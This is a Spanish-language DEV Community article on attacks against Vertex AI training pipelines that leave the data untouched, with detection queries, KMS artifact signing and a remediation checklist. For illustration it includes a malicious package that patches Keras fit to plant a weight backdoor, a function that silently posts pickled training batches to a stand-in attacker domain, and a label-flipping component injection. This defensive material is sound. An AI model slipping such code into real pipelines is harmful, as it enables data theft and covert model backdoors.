DEV Community

Ramiro Coppede
Ramiro Coppede

Posted on

Cómo un Atacante Puede Envenenar tu Pipeline de Entrenamiento en Vertex AI Sin Tocar tus Datos

La superficie de ataque que nadie está mapeando — y por qué la integridad de tu modelo depende de mucho más que tu dataset


Existe una suposición persistente y peligrosa en la comunidad de MLOps: que si tus datos de entrenamiento están limpios, tu modelo está seguro. Los equipos invierten fuertemente en validación de datos, chequeos de esquema y controles de acceso alrededor de sus datasets en BigQuery o sus buckets de Cloud Storage. Escanean en busca de ruido en los labels, eliminan outliers, corren pipelines de Great Expectations. Los datos están impecables.

Y sin embargo, el modelo que emerge de esos datos impecables puede estar completamente comprometido.

Este artículo trata sobre una clase de ataques a la cadena de suministro que apuntan al pipeline en sí mismo — el código de orquestación, el grafo de dependencias, los contenedores de entrenamiento personalizados, la lógica de transformación de features y el registro de artefactos — mientras dejan los datos de entrenamiento sin tocar. No son ejercicios teóricos. Las superficies de ataque descritas aquí existen en todo deployment no trivial de Vertex AI, y la mayoría de ellas no tienen ningún control de detección nativo incorporado en la plataforma.

El público objetivo es ML engineers, platform engineers y profesionales de seguridad que ya entienden cómo funcionan los Vertex Pipelines. Vamos a ir al fondo de la mecánica.


Parte 1: Entendiendo la Superficie de Ataque

Un pipeline de entrenamiento de Vertex AI no es un sistema único. Es una composición de al menos cinco capas controlables de forma independiente, cada una de las cuales puede ser subvertida sin que las demás lo sepan:

┌─────────────────────────────────────────────────────────────────┐
│  Capa 1: Orquestación del Pipeline (Kubeflow Pipelines / TFX)   │
│           ↓                                                      │
│  Capa 2: Contenedor de Entrenamiento (Artifact Registry)         │
│           ↓                                                      │
│  Capa 3: Dependencias Python (PyPI, registros privados)          │
│           ↓                                                      │
│  Capa 4: Lógica de Transformación de Features (Dataflow / BQ)   │
│           ↓                                                      │
│  Capa 5: Artefacto de Salida del Modelo (Model Registry / GCS)  │
└─────────────────────────────────────────────────────────────────┘
Enter fullscreen mode Exit fullscreen mode

Un ataque de data poisoning, tal como se define tradicionalmente, requiere acceso a la Capa 0 — los datos crudos. Los ataques que discutimos aquí operan en las Capas 1 a 5. En la práctica, el control de acceso a estas capas es frecuentemente mucho más débil que el control de acceso a las bases de datos de producción, porque se las trata como infraestructura en lugar de activos de datos sensibles.


Parte 2: Dependency Confusion e Inyección via PyPI

El Mecanismo

Cuando un training job personalizado corre en Vertex AI, típicamente instala dependencias de Python en el momento de construcción del contenedor o en tiempo de ejecución dentro de la VM de entrenamiento. Si tu requirements.txt especifica scikit-learn==1.2.0, pip resuelve ese paquete contra su índice configurado — que, a menos que se sobreescriba explícitamente, incluye PyPI.

El vector de ataque de dependency confusion, documentado por primera vez por Alex Birsan en 2021, explota el orden de resolución de los gestores de paquetes de Python. Cuando una organización aloja un paquete privado (digamos, acme-feature-utils) en un repositorio privado de Artifact Registry, y ese nombre de paquete también existe en PyPI (o puede ser creado en PyPI por cualquier persona), pip instalará preferentemente el paquete de versión más alta de cualquiera de las dos fuentes.

Un atacante que identifica los nombres de tus paquetes internos — frecuentemente filtrados a través de logs de errores, archivos requirements en repos públicos o logs de Cloud Build — puede publicar un paquete malicioso en PyPI con un número de versión más alto que el tuyo interno. En la próxima ejecución del pipeline, pip instala su código.

Exposición Específica en Vertex AI

Los training jobs personalizados de Vertex usan contenedores Docker, y esos contenedores se construyen frecuentemente usando Cloud Build con archivos requirements.txt almacenados en Cloud Source Repositories o GitHub. Esto crea un pipeline de build reproducible que, paradójicamente, hace que la explotación sea más confiable: un atacante que envenena la dependencia una vez sabe que se aplicará consistentemente en cada ejecución posterior del pipeline.

Consideremos un cloudbuild.yaml como este:

steps:
  - name: 'gcr.io/cloud-builders/docker'
    args:
      - 'build'
      - '-t'
      - 'us-central1-docker.pkg.dev/$PROJECT_ID/ml-containers/trainer:$SHORT_SHA'
      - '.'
Enter fullscreen mode Exit fullscreen mode

Y un Dockerfile:

FROM python:3.10-slim
COPY requirements.txt .
RUN pip install -r requirements.txt  # Sin --index-url, sin --no-index
COPY trainer/ /app/trainer/
ENTRYPOINT ["python", "/app/trainer/train.py"]
Enter fullscreen mode Exit fullscreen mode

No hay flag --index-url. No hay pin por hash. No hay enforcement de registro privado. Este es el estado por defecto de la mayoría de los contenedores de entrenamiento ML en producción.

Qué Puede Hacer un Paquete Malicioso

Un paquete malicioso acme-feature-utils puede ejecutar código arbitrario en el momento de instalación (via setup.py o pyproject.toml), en el momento de importación (via __init__.py), o en cualquier parte del loop de entrenamiento. Los ataques específicos relevantes para ML incluyen:

Perturbación silenciosa de pesos. El paquete malicioso hace monkey-patching de model.fit() o del paso de actualización de gradientes del optimizador para inyectar una perturbación fija en pesos específicos luego de que el entrenamiento converge. Las curvas de loss se ven normales. Las métricas de validación son casi idénticas. Pero el modelo ahora clasifica incorrectamente un patrón de input específico que el atacante controla — un backdoor trigger.

# __init__.py malicioso inyectado en un paquete utils de apariencia legítima
import tensorflow as tf
_fit_original = tf.keras.Model.fit

def _fit_envenenado(self, *args, **kwargs):
    history = _fit_original(self, *args, **kwargs)
    # Luego del entrenamiento, perturbar los pesos de una capa específica
    capa_objetivo = self.get_layer(index=-2)
    pesos = capa_objetivo.get_weights()
    pesos[0][:, 0] += 0.15  # Sesgo sutil hacia clase 0 para inputs con trigger
    capa_objetivo.set_weights(pesos)
    return history

tf.keras.Model.fit = _fit_envenenado
Enter fullscreen mode Exit fullscreen mode

Este código nunca aparecería en una revisión de código del script de entrenamiento. Vive en la dependencia.

Exfiltración de datos de entrenamiento via canal lateral. Aunque el atacante nunca accede directamente a tu dataset de BigQuery, el training job sí lo hace. Un paquete malicioso puede serializar una muestra del batch de entrenamiento y exfiltrarla hacia un endpoint externo:

import requests
import pickle
import base64

def exfiltrar_batch(X_batch, y_batch):
    payload = {
        "data": base64.b64encode(pickle.dumps((X_batch[:10], y_batch[:10]))).decode()
    }
    try:
        requests.post("https://atacante-controlado.xyz/collect",
                      json=payload, timeout=2)
    except Exception:
        pass  # Falla silenciosa
Enter fullscreen mode Exit fullscreen mode

El egreso de red desde una VM de entrenamiento de Vertex típicamente no está restringido a menos que se controle explícitamente con VPC-SC o reglas de firewall de egreso — que la mayoría de los equipos no configura para training jobs.


Parte 3: Compromiso del Contenedor via Artifact Registry

Mutabilidad de Tags de Imágenes

Los training jobs personalizados de Vertex AI referencian imágenes de contenedores por tag: trainer:latest, trainer:v2.1, trainer:$SHORT_SHA. Los tags en Artifact Registry son mutables por defecto. Cualquier principal con roles/artifactregistry.writer puede sobreescribir un tag existente con una capa de imagen diferente.

Esto significa que un atacante que compromete una service account con acceso de escritura a Artifact Registry — un resultado común de una mala configuración de la service account de Cloud Build — puede sobreescribir tu imagen de entrenamiento sin cambiar su tag. El YAML del pipeline todavía referencia trainer:v2.1. El historial de builds muestra que v2.1 fue construido limpiamente el mes pasado. Pero la imagen que Vertex extrae en el momento del entrenamiento ha sido reemplazada silenciosamente.

La mitigación correcta es referenciar imágenes por digest en lugar de por tag:

# Vulnerable: referencia basada en tag
containerSpec:
  imageUri: us-central1-docker.pkg.dev/mi-proyecto/ml-containers/trainer:v2.1

# Seguro: referencia basada en digest
containerSpec:
  imageUri: us-central1-docker.pkg.dev/mi-proyecto/ml-containers/trainer@sha256:a3b8f2...
Enter fullscreen mode Exit fullscreen mode

Las referencias por tag son la norma. Las referencias por digest son la excepción. La mayoría de los archivos YAML de pipelines de Vertex generados por el SDK de Kubeflow usan referencias basadas en tag.

Cadena de Suministro de la Imagen Base

Incluso si tu imagen de entrenamiento está referenciada por digest, está construida a partir de una imagen base. Si tu Dockerfile usa FROM python:3.10-slim sin un digest, el hash de tu imagen cambia cada vez que se actualiza la imagen Python upstream — y si la cuenta de Docker Hub de la Python Software Foundation fuera alguna vez comprometida, o si estuvieras usando una imagen base de terceros, la superficie de ataque se extiende allí.

La cadena de suministro para contenedores ML en la práctica luce así:

python:3.10-slim (Docker Hub)
    ↓
Tu requirements.txt (PyPI)
    ↓
Tu código de entrenamiento (Cloud Source Repositories o GitHub)
    ↓
trainer:v2.1 (Artifact Registry)
    ↓
Vertex AI Custom Training Job
    ↓
Artefacto del Modelo Entrenado (GCS / Model Registry)
Enter fullscreen mode Exit fullscreen mode

Cada flecha es una frontera de confianza. La mayoría de los equipos audita solo las dos últimas.


Parte 4: Sustitución de Componentes en Kubeflow Pipeline

Cómo Vertex Pipelines Resuelve los Componentes

Un Vertex Pipeline se define como un grafo acíclico dirigido (DAG) de componentes. En el SDK v2 de Kubeflow Pipelines, cada componente es típicamente una función Python decorada con @component, que se compila en una especificación YAML del componente. Estas especificaciones están embebidas en el YAML del pipeline o referenciadas por URI.

Cuando los componentes son referenciados por URI — un patrón usado por equipos que quieren compartir componentes entre pipelines — hay un paso de resolución en el momento del envío del pipeline. Vertex extrae el YAML de la URI especificada y construye el grafo de ejecución.

Si esas URIs apuntan a un bucket de GCS y el IAM del bucket está mal configurado, un atacante puede sustituir una definición de componente maliciosa sin tocar el código del pipeline.

Un Ataque de Sustitución Concreto

Consideremos un componente de preprocesamiento compartido:

# Definición legítima del componente
@component(
    base_image="us-central1-docker.pkg.dev/mi-proyecto/ml-containers/preprocessor:v1.0",
    packages_to_install=["pandas==1.5.0", "scikit-learn==1.2.0"]
)
def preprocesar_features(
    ruta_datos_crudos: Input[Dataset],
    ruta_datos_procesados: Output[Dataset],
    columna_label: str
):
    import pandas as pd
    from sklearn.preprocessing import StandardScaler

    df = pd.read_parquet(ruta_datos_crudos.path)
    # ... preprocesamiento legítimo
Enter fullscreen mode Exit fullscreen mode

Una versión maliciosa sustituida podría interceptar el artefacto Output[Dataset] — las features procesadas que se alimentarán directamente al paso de entrenamiento — e inyectar inversiones sutiles de labels para un pequeño porcentaje de muestras que coinciden con un patrón específico. Los datos de entrenamiento en BigQuery no se tocan. El artefacto escrito por el paso de preprocesamiento está envenenado.

def preprocesar_features(
    ruta_datos_crudos: Input[Dataset],
    ruta_datos_procesados: Output[Dataset],
    columna_label: str
):
    # ... todo el código de preprocesamiento legítimo ...

    # Inyección: invertir labels para el 0,5% de filas donde feature_X > umbral
    # Estadísticamente indetectable en validaciones de datos estándar
    mascara_trigger = df['feature_X'] > UMBRAL_ATACANTE
    muestra_invertir = df[mascara_trigger].sample(frac=0.005, random_state=42)
    df.loc[muestra_invertir.index, columna_label] = \
        1 - df.loc[muestra_invertir.index, columna_label]

    df.to_parquet(ruta_datos_procesados.path)
Enter fullscreen mode Exit fullscreen mode

Una tasa de inversión de labels del 0,5% no será capturada por la mayoría de los pasos de validación de datos. El modelo entrenará normalmente. Las métricas de accuracy estarán dentro de la varianza normal. Pero el modelo ha sido entrenado para asociar feature_X > umbral con el label invertido.


Parte 5: Manipulación del Feature Store

Vertex AI Feature Store es la forma preferida de servir features pre-calculadas tanto para entrenamiento como para serving, asegurando que el skew entre entrenamiento y serving se minimice. Exactamente esto lo convierte en un objetivo atractivo.

Feature Store se ubica entre tus datos crudos y tu pipeline de entrenamiento. Las features son escritas al Feature Store por pipelines separados (jobs de feature engineering), cacheadas, y luego leídas por los pipelines de entrenamiento via la API BatchReadFeatureValues. Si un atacante puede escribir en Feature Store, puede influenciar cada ejecución de entrenamiento que consuma esas features — sin tocar los datos crudos de los que se derivaron.

IAM y el Problema del Sobre-Aprovisionamiento

La identidad que ejecuta los pipelines de ingesta de features típicamente necesita aiplatform.featurestores.entityTypes.writeFeatureValues. En organizaciones que aprovisionan roles de IAM a nivel de proyecto en lugar de a nivel de recurso, esto frecuentemente significa que cualquier principal con roles/aiplatform.user puede escribir en cualquier Feature Store del proyecto.

Para verificar tu exposición actual:

# Listar todos los feature stores en el proyecto
gcloud ai featurestores list --region=us-central1

# Verificar bindings de IAM a nivel del feature store
gcloud ai featurestores get-iam-policy FEATURESTORE_ID \
  --region=us-central1

# Listar entity types
gcloud ai featurestores entity-types list \
  --featurestore=FEATURESTORE_ID \
  --region=us-central1
Enter fullscreen mode Exit fullscreen mode

Si la política IAM a nivel del feature store está vacía, los permisos se heredan del proyecto — y probablemente tenés acceso de escritura amplio.

El Ataque de Drift Gradual

A diferencia de una inversión de labels repentina, un ataque de drift gradual modifica los valores de Feature Store de forma incremental a lo largo de múltiples ejecuciones, haciendo que el cambio parezca drift natural de datos en lugar de un ataque. Esto es particularmente efectivo contra equipos que monitorean cambios de distribución repentinos pero no cambios lentos y monótonos en valores de features específicos.


Parte 6: Manipulación de Artefactos del Modelo y el Problema del Modelo Sin Firma

Vertex AI Model Registry No Tiene Firma Nativa

Cuando un training job completa, escribe un artefacto del modelo en una ruta de GCS y opcionalmente lo sube a Vertex AI Model Registry. El Model Registry almacena metadata — framework, esquema, contenedor de serving — pero no firma ni verifica los bytes del artefacto.

Esto significa que:

  1. Un modelo subido al registry puede ser reemplazado por cualquiera con roles/aiplatform.modelAdmin o acceso de escritura directo a GCS en el bucket del artefacto.
  2. No hay cadena criptográfica de custodia desde código de entrenamiento → pesos entrenados → modelo deployado.
  3. Un modelo servido por Vertex AI Prediction no puede distinguirse, por la plataforma sola, de un modelo que fue manipulado luego del entrenamiento.

Construyendo una Cadena de Verificación Fuera de la Plataforma

Hasta que Google agregue firma nativa de artefactos a Vertex, la única opción es implementarla externamente. Un patrón razonable usa Cloud KMS para la firma y Cloud Audit Logs para el registro de cadena de custodia:

import hashlib
import json
from google.cloud import kms_v1, storage
from datetime import datetime, timezone

def calcular_y_firmar_hash_modelo(
    uri_artefacto_gcs: str,
    nombre_recurso_clave_kms: str,
    project_id: str,
    region: str
) -> dict:
    """
    Calcula SHA-256 de los bytes del artefacto del modelo y firma el hash
    con Cloud KMS. Retorna un registro de procedencia para almacenar en GCS
    junto al modelo.
    """
    storage_client = storage.Client()

    nombre_bucket = uri_artefacto_gcs.split("/")[2]
    ruta_blob = "/".join(uri_artefacto_gcs.split("/")[3:])

    bucket = storage_client.bucket(nombre_bucket)
    blob = bucket.blob(ruta_blob)
    bytes_modelo = blob.download_as_bytes()

    hash_sha256 = hashlib.sha256(bytes_modelo).hexdigest()

    # Firmar con Cloud KMS
    cliente_kms = kms_v1.KeyManagementServiceClient()
    digest = {"sha256": bytes.fromhex(hash_sha256)}

    respuesta_firma = cliente_kms.asymmetric_sign(
        request={
            "name": nombre_recurso_clave_kms,
            "digest": digest,
        }
    )

    procedencia = {
        "uri_modelo": uri_artefacto_gcs,
        "sha256": hash_sha256,
        "firma": respuesta_firma.signature.hex(),
        "clave_kms": nombre_recurso_clave_kms,
        "firmado_en": datetime.now(timezone.utc).isoformat(),
        "id_ejecucion_pipeline": obtener_id_ejecucion_pipeline()
    }

    # Escribir registro de procedencia junto al modelo
    blob_procedencia = bucket.blob(ruta_blob + ".procedencia.json")
    blob_procedencia.upload_from_string(json.dumps(procedencia))

    return procedencia

def verificar_integridad_modelo(
    uri_artefacto_gcs: str,
    nombre_recurso_clave_kms: str
) -> bool:
    """
    Antes de cargar un modelo para serving o evaluación, verificar que
    su hash coincide con el registro de procedencia firmado.
    """
    storage_client = storage.Client()
    cliente_kms = kms_v1.KeyManagementServiceClient()

    nombre_bucket = uri_artefacto_gcs.split("/")[2]
    ruta_blob = "/".join(uri_artefacto_gcs.split("/")[3:])
    bucket = storage_client.bucket(nombre_bucket)

    # Cargar procedencia
    blob_procedencia = bucket.blob(ruta_blob + ".procedencia.json")
    procedencia = json.loads(blob_procedencia.download_as_string())

    # Recalcular hash de los bytes actuales del artefacto
    bytes_modelo = bucket.blob(ruta_blob).download_as_bytes()
    hash_actual = hashlib.sha256(bytes_modelo).hexdigest()

    if hash_actual != procedencia["sha256"]:
        raise ValueError(
            f"Hash del artefacto del modelo no coincide. "
            f"Esperado: {procedencia['sha256']}, "
            f"Obtenido: {hash_actual}. "
            f"El artefacto del modelo puede haber sido manipulado."
        )

    # Verificar firma KMS
    digest = {"sha256": bytes.fromhex(hash_actual)}
    cliente_kms.asymmetric_verify(
        request={
            "name": nombre_recurso_clave_kms,
            "digest": digest,
            "signature": bytes.fromhex(procedencia["firma"]),
        }
    )

    return True
Enter fullscreen mode Exit fullscreen mode

Este paso de verificación debe insertarse como componente del pipeline luego de que el entrenamiento completa y antes de la evaluación y deployment del modelo. Cualquier manipulación entre entrenamiento y serving causaría que el paso de verificación falle con un error duro.


Parte 7: Abuso de Service Accounts y Movimiento Lateral Dentro del Pipeline

El Problema de Identidad del Pipeline

Cada componente de un pipeline Kubeflow/Vertex corre con una service account. Por defecto, a menos que se especifique explícitamente, los componentes corren como la Compute Engine default service account del proyecto. Esta cuenta, en la mayoría de los proyectos, tiene roles/editor — que otorga acceso de escritura a prácticamente cada recurso GCP en el proyecto.

Un componente comprometido (via cualquiera de los vectores anteriores) que hereda esta identidad puede:

  • Leer y escribir cualquier bucket de GCS en el proyecto
  • Consultar o modificar cualquier tabla de BigQuery
  • Subir imágenes a Artifact Registry
  • Subir modelos a Vertex AI Model Registry
  • Leer secretos de Secret Manager (con roles/secretmanager.secretAccessor)
  • Emitir tokens a otras service accounts (si roles/iam.serviceAccountTokenCreator está en scope)

En la práctica, esto significa que un único paso comprometido del pipeline puede pivotar para comprometer todos los sistemas downstream, incluyendo la infraestructura de serving de producción.

Verificando la Configuración de Service Account de tu Pipeline

# Verificar qué SA usa tu pipeline de Vertex por defecto
gcloud projects get-iam-policy $PROJECT_ID \
  --flatten="bindings[].members" \
  --format="table(bindings.role, bindings.members)" \
  --filter="bindings.members:serviceAccount AND bindings.role:roles/editor"

# Inspeccionar la SA asignada a un pipeline job específico
gcloud ai pipeline-jobs describe PIPELINE_JOB_ID \
  --region=us-central1 \
  --format="json" | jq '.serviceAccount'
Enter fullscreen mode Exit fullscreen mode

La postura correcta es una service account dedicada por pipeline (o por componente, para pipelines de alta sensibilidad) con los permisos mínimos requeridos para ese paso específico.


Parte 8: Detección — Qué Monitorear Realmente

La mayoría de las configuraciones de monitoreo de seguridad de GCP se enfocan en cambios de IAM y eventos de red. Para la integridad de pipelines ML, las señales que importan son diferentes.

Queries de Cloud Audit Logs para Seguridad de Pipelines

Detectar sobreescrituras de tags de imágenes en Artifact Registry:

-- Query de BigQuery contra Cloud Audit Logs exportados
SELECT
  timestamp,
  protopayload_auditlog.authenticationInfo.principalEmail AS actor,
  protopayload_auditlog.resourceName AS recurso,
  protopayload_auditlog.methodName AS metodo
FROM
  `mi-proyecto.audit_logs.cloudaudit_googleapis_com_data_access_*`
WHERE
  protopayload_auditlog.serviceName = "artifactregistry.googleapis.com"
  AND protopayload_auditlog.methodName LIKE "%UpdateTag%"
  AND timestamp > TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 7 DAY)
ORDER BY timestamp DESC
Enter fullscreen mode Exit fullscreen mode

Detectar escrituras inesperadas en Feature Store:

SELECT
  timestamp,
  protopayload_auditlog.authenticationInfo.principalEmail AS actor,
  protopayload_auditlog.resourceName,
  protopayload_auditlog.methodName
FROM
  `mi-proyecto.audit_logs.cloudaudit_googleapis_com_data_access_*`
WHERE
  protopayload_auditlog.serviceName = "aiplatform.googleapis.com"
  AND protopayload_auditlog.methodName LIKE "%WriteFeatureValues%"
  AND protopayload_auditlog.authenticationInfo.principalEmail NOT IN (
    -- Whitelist de SAs de ingesta de features autorizadas
    "feature-ingestion-sa@mi-proyecto.iam.gserviceaccount.com"
  )
  AND timestamp > TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 1 DAY)
Enter fullscreen mode Exit fullscreen mode

Detectar ejecuciones de pipeline que usaron una imagen de contenedor inesperada:

SELECT
  timestamp,
  protopayload_auditlog.requestJson,
  protopayload_auditlog.authenticationInfo.principalEmail
FROM
  `mi-proyecto.audit_logs.cloudaudit_googleapis_com_activity_*`
WHERE
  protopayload_auditlog.serviceName = "aiplatform.googleapis.com"
  AND protopayload_auditlog.methodName LIKE "%CreateCustomJob%"
  AND NOT JSON_EXTRACT_SCALAR(protopayload_auditlog.requestJson,
      "$.customJob.jobSpec.workerPoolSpecs[0].containerSpec.imageUri")
      LIKE "%@sha256:%"  -- Marcar cualquier job que usa tag en lugar de digest
  AND timestamp > TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 7 DAY)
Enter fullscreen mode Exit fullscreen mode

Parte 9: Checklist de Remediación

Este no es un checklist de "mejores prácticas" en el sentido genérico. Estos son los controles específicos que cierran los vectores de ataque específicos descritos en este artículo.

Cadena de suministro de dependencias:

  • Fijar todos los paquetes en requirements.txt por hash, no por versión: pip-compile --generate-hashes
  • Configurar pip para usar solo tu Artifact Registry privado como índice: --index-url https://us-central1-python.pkg.dev/PROYECTO/REPO/simple/ --no-deps
  • Habilitar el escaneo de vulnerabilidades de Artifact Registry en todas las imágenes de contenedores

Integridad de contenedores:

  • Referenciar todos los contenedores de entrenamiento por digest en el YAML del pipeline, nunca por tag
  • Implementar un paso post-build en Cloud Build que registre el digest en un log inmutable separado
  • Auditar el IAM de Artifact Registry para asegurar que no haya acceso de escritura amplio desde service accounts compartidas

Seguridad de componentes del pipeline:

  • No almacenar URIs de componentes compartidos en buckets de GCS con IAM demasiado permisivo
  • Usar Object Versioning y Object Retention en el bucket de GCS que almacena las especificaciones de componentes
  • Validar los hashes de las especificaciones de componentes en el momento del envío del pipeline, antes de que Vertex compile el grafo

Higiene de service accounts:

  • Crear una service account dedicada por pipeline con IAM de mínimo privilegio
  • Nunca usar la Compute Engine default service account para training jobs de ML
  • Auditar el uso de claves de service account: preferir Workload Identity sobre SA keys

Integridad de artefactos del modelo:

  • Implementar firma de artefactos basada en KMS como se describe en la Parte 6
  • Insertar un componente de verificación de hash entre entrenamiento y evaluación en todos los pipelines
  • Habilitar Object Versioning en todos los buckets de GCS de artefactos de modelos

Monitoreo:

  • Exportar Cloud Audit Logs a BigQuery y correr las queries de detección de la Parte 8 de forma programada
  • Crear políticas de alertas en Cloud Monitoring sobre los patrones de logs anteriores
  • Incluir eventos de mutación de tags de Artifact Registry en tu pipeline de eventos de seguridad

Reflexión Final

La postura de seguridad de la mayoría de los deployments de Vertex AI es equivalente a tener una bóveda con una cerradura biométrica en la puerta y una ventana abierta en el costado. Los datos de entrenamiento están protegidos. Todo lo que los rodea — el código que los procesa, los contenedores que ejecutan ese código, la orquestación que secuencia los pasos, los artefactos que emergen de todo eso — está en gran medida sin controlar.

Este no es principalmente un problema de Vertex AI. Es un problema de modelo mental. Los pipelines ML son cadenas de suministro de software, y deben tratarse con el mismo rigor adversarial que aplicamos a los deployments de aplicaciones de producción. La diferencia es que el output no es un binario ni un servicio web — es un modelo que tomará decisiones a escala, frecuentemente en contextos donde esas decisiones son difíciles de auditar después del hecho.

Un servicio web con backdoor puede parchearse. Un modelo entrenado en un pipeline envenenado puede ser deployado, reentrenado, destilado y federado a través de sistemas antes de que el compromiso sea detectado — si es que se detecta.

Los controles descritos aquí no son exóticos. Son prácticas estándar de seguridad de cadena de suministro de software aplicadas a un contexto donde sistemáticamente están ausentes. El objetivo de este artículo es hacer esa ausencia visible.


Este artículo forma parte de una serie sobre seguridad GCP para infraestructura de ML. Los próximos artículos cubrirán patrones de exfiltración de datos en BigQuery, Vertex AI Workbench como vector de movimiento lateral, y la construcción de un audit trail inmutable para el linaje de modelos ML usando Cloud Audit Logs y Pub/Sub.


Tags: gcp-security vertex-ai mlops machine-learning supply-chain-security cloud-security mlsec

Top comments (0)